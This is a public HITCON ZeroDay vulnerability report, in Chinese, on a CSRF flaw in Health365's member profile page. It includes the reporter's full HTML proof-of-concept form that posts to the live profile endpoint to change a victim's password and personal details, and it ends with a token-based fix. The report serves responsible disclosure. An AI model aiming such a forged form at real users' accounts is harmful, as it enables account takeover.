Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00949
- Vendor: Health365
- Title: Health365 CSRF
- Introduction: CSRF
處理狀態
目前狀態
公開
Last Update : 2019/10/29
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2019/08/29 21:13:06 : 新提交 (由 SomeApple 更新此狀態)
- 2019/08/29 21:14:03 : 新提交 (由 SomeApple 更新此狀態)
- 2019/08/29 21:14:52 : 新提交 (由 SomeApple 更新此狀態)
- 2019/08/29 22:36:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/08/29 22:36:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/02 13:58:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/02 13:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/02 13:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/10/29 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-00949
- 通報者:jk82421 (SomeApple)
- 風險:低
- 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)
參考資料
攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。
漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.health365.com.tw/app/index.php?c=Member&m=Profile
敘述
一開始填寫資訊為
後來發現 Payload 沒有帶入 request 用的 token,於是自製一個填表單的網頁
然後送出發現成功
回去看頁面資訊,發現資訊被更改,密碼也可以成功更改
下面附上自製網頁 Payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form id="frmMemberProfile" name="frmMemberProfile" class="text-left" method="POST"
action="https://www.health365.com.tw/app/index.php?c=Member&m=Profile">
<input type="hidden" name="postFlag" value="1">
<input type="hidden" name="hash" value="c15e50907214277df3ebc3961ae2c3cb">
<div class="row form-group mb20">
<label for="Account" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">會員帳號</label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<p class="custom-text">[email protected]</p>
</div>
</div>
<div class="row form-group mb20">
<label for="Password" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">修改密碼</label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<input type="text" name="passwd" class="form-control" placeholder="請輸入您的密碼" maxlength="20"
notnull="" detail="您的密碼">
</div>
</div>
<div class="row form-group mb20">
<label for="PasswordConfirm" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">再次輸入密碼</label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<input type="text" name="confirm_passwd" class="form-control" placeholder="請再輸入一次您的密碼"
maxlength="20" notnull="" detail="再次輸入密碼">
</div>
</div>
<div class="row form-group mb20">
<label for="Name" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">姓名</label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<input type="text" name="name" class="form-control" placeholder="例:王小明" maxlength="50" value="123"
notnull="true" detail="姓名">
</div>
</div>
<div class="row form-group mb20">
<label for="Gender" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">性別</label>
<div class="col-xs-8 col-ss-9 col-sm-8 text-left gender">
<label class="boy">
<input type="radio" name="gender" value="M" notnull="true" detail="性別">
男
</label>
<label class="girl">
<input type="radio" name="gender" value="F" notnull="true" detail="性別">
女
</label>
</div>
</div>
<div class="row form-group mb20">
<label for="Birthday" class="col-xs-4 col-ss-3 col-sm-4 col-form-label">生日</label>
<div class="form-row col-xs-12 col-ss-9 col-sm-8">
<div class="form-group col-xs-4 col-ss-4 col-sm-3">
<select name="dob_year" class="form-control" notnull="true" detail="生日年份">
<option>年</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
<option value="1995">1995</option>
<option value="1994">1994</option>
<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option value="1989">1989</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
<option value="1929">1929</option>
<option value="1928">1928</option>
<option value="1927">1927</option>
<option value="1926">1926</option>
<option value="1925">1925</option>
<option value="1924">1924</option>
<option value="1923">1923</option>
<option value="1922">1922</option>
<option value="1921">1921</option>
<option value="1920">1920</option>
<option value="1919">1919</option>
<option value="1918">1918</option>
<option value="1917">1917</option>
<option value="1916">1916</option>
</select>
</div>
<div class="form-group col-xs-4 col-ss-4 col-sm-3">
<select name="dob_month" class="form-control" notnull="true" detail="生日月份">
<option>月</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
</div>
<div class="form-group col-xs-4 col-ss-4 col-sm-3">
<select name="dob_day" class="form-control" notnull="true" detail="生日日期">
<option>日</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
</div>
</div>
</div>
<div class="row form-group mb20">
<label for="Email" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">電子郵件信箱</label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<input type="text" name="email" class="form-control" placeholder="例:[email protected]"
maxlength="50" value="[email protected]" isemail="true" notnull="true" detail="電子郵件信箱">
</div>
</div>
<div class="row form-group mb20">
<label for="Phone" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">手機號碼</label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<input type="text" name="mobile" class="form-control" placeholder="請輸入手機或市話" minlength="10"
maxlength="20" value="0987123465" notnull="true" detail="聯絡電話">
</div>
</div>
<div class="row form-group mb20">
<label for="Address" class="col-xs-4 col-ss-3 col-sm-4 col-form-label">地址</label>
<input type="hidden" name="country" value="TW">
<div id="addr_tw" class="form-row col-xs-12 col-ss-9 col-sm-8 text-left">
<div class="form-group col-xs-4 col-ss-4 col-sm-3" data-role="county" data-name="city" data-value=""
data-style="form-control">
<select name="city" class="form-control">
<option value="">縣市</option>
<option value="基隆市">基隆市</option>
<option value="台北市">台北市</option>
<option value="新北市">新北市</option>
<option value="宜蘭縣">宜蘭縣</option>
<option value="新竹市">新竹市</option>
<option value="新竹縣">新竹縣</option>
<option value="桃園市">桃園市</option>
<option value="苗栗縣">苗栗縣</option>
<option value="台中市">台中市</option>
<option value="彰化縣">彰化縣</option>
<option value="南投縣">南投縣</option>
<option value="嘉義市">嘉義市</option>
<option value="嘉義縣">嘉義縣</option>
<option value="雲林縣">雲林縣</option>
<option value="台南市">台南市</option>
<option value="高雄市">高雄市</option>
<option value="屏東縣">屏東縣</option>
<option value="台東縣">台東縣</option>
<option value="花蓮縣">花蓮縣</option>
<option value="金門縣">金門縣</option>
<option value="連江縣">連江縣</option>
<option value="澎湖縣">澎湖縣</option>
<option value="南海諸島">南海諸島</option>
</select></div>
<div class="form-group col-xs-4 col-ss-4 col-sm-3" data-role="district" data-name="district"
data-value="" data-style="form-control">
<select name="district" class="form-control">
<option value="">鄉鎮市區</option>
</select></div>
<div class="form-group col-xs-4 col-ss-4 col-sm-3" data-role="zipcode" data-name="zipcode" data-value=""
data-style="form-control postal-code">
<input type="text" name="zipcode" class="form-control postal-code"></div>
</div>
</div>
<div class="row form-group mb20">
<label for="Address" class="col-xs-12 col-ss-3 col-sm-4 col-form-label"></label>
<div class="col-xs-12 col-ss-9 col-sm-8">
<input type="text" name="address" class="form-control" placeholder="請輸入您的地址" maxlength="200"
value="123123" notnull="true" detail="聯絡地址">
</div>
</div>
<div class="row form-group pt15">
<label for="AccountCode" class="col-xs-6 col-ss-3 col-sm-4 col-form-label">會員推薦碼</label>
<div class="col-xs-6 col-ss-9 col-sm-8">
<p class="custom-text" style="line-height: 1.8;">A04662</p>
</div>
</div>
<hr>
<div class="update">
<button type="submit" class="btn submit">更新</button>
</div>
</form>
</body>
</html>修補建議
1. 建議搜尋 CSRF 解決方法,基本上就是要為每一次的 Request 加上一個驗證用的 Token 代表說此 Request 真的是從你網站來的
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。